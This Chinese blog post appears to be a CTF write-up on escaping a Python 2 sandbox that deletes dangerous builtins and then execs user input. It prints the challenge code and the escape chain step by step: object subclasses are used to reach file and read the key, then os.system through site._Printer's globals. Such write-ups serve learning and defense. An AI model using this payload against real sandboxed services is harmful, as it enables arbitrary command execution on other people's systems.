一道简单的CTFpython沙箱逃逸题目,,看了几天的ssti注
一道简单的CTFpython沙箱逃逸题目,,看了几天的ssti注
看了几天的ssti注入然后了解到有python沙箱逃逸
学过ssti注入的话python沙箱逃逸还是很容易理解的。
看一道CTF题目,源码的话我改了改,一开始不能用,直接在py2上运行就好。
题目要求读取./key的值,我们这里来执行命令。
def make_secure(): UNSAFE = ['open', 'file', 'execfile', 'compile', 'reload', '__import__', 'eval', 'input'] for func in UNSAFE: del __builtins__.__dict__[func]from re import findall# Remove dangerous builtinsmake_secure()print 'Go Ahead, Expoit me >;D'while True: try: # Read user input until the first whitespace character inp = findall('\S+', raw_input())[0] a = None # Set a to the result from executing the user input exec 'a=' + inp print 'Return Value:', a except Exception as e: print 'Exception:', e
题目一开始就删除了些危险函数,比如file等。
那删除和没删除有什么区别呢?
通俗来说,就是不能直接调用了。builtins里面被删除的函数不能被直接调用了。
那我们能不能通过别的办法调用file呢?答案是肯定的
"".__class__.__mro__[2].__subclasses__()[40]这段不是builtins里面的函数,是直接从object拿来调用的,所以没问题。
很轻松的就读到了key,可我们的目标是提权。
我想用os模块,一种是从别的模块能不能直接调用它:
<class 'site._Printer'> [71](可以直接调用os模块)
另一种需要eval配合__import__导入os模块
<class 'warnings.catch_warnings'>[59]
open,eval,file,__import__,reload(并没有os,需要用eval配合__import__导入),可是这段需要builtins,里面的__import__被删除了。这个办法我想应该行不通。
所以我们先找到<class ‘site._Printer‘>模块
''.__class__.__mro__[2].__subclasses__()[72] ''.__class__.__mro__[2].__subclasses__()[71]两个都试试,我linux和windows不一样不知道为啥,然后''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('whoami')完成命令执行
一道简单的CTFpython沙箱逃逸题目
相关内容
- python字符串格式化,,字符格式化输出 占
- python访问数据库,,1. python
- 第一篇:python简介,, 前言:作为对
- python 列表,,# list"""使
- Python webdriver API- 浏览器的操作,,浏览器的操作1)浏览
- 初识----python,,1.什么是编程---
- linux python 修改环境变量 添加自定义模块路径,,举一个
- Python3之利用Cookie模拟登录,,Python3之利用
- python中bytes与bytearray以及encode与decode,,一、encode与d
- Python标准库:内置函数property(fget=None, fset=None, fdel=Non
评论关闭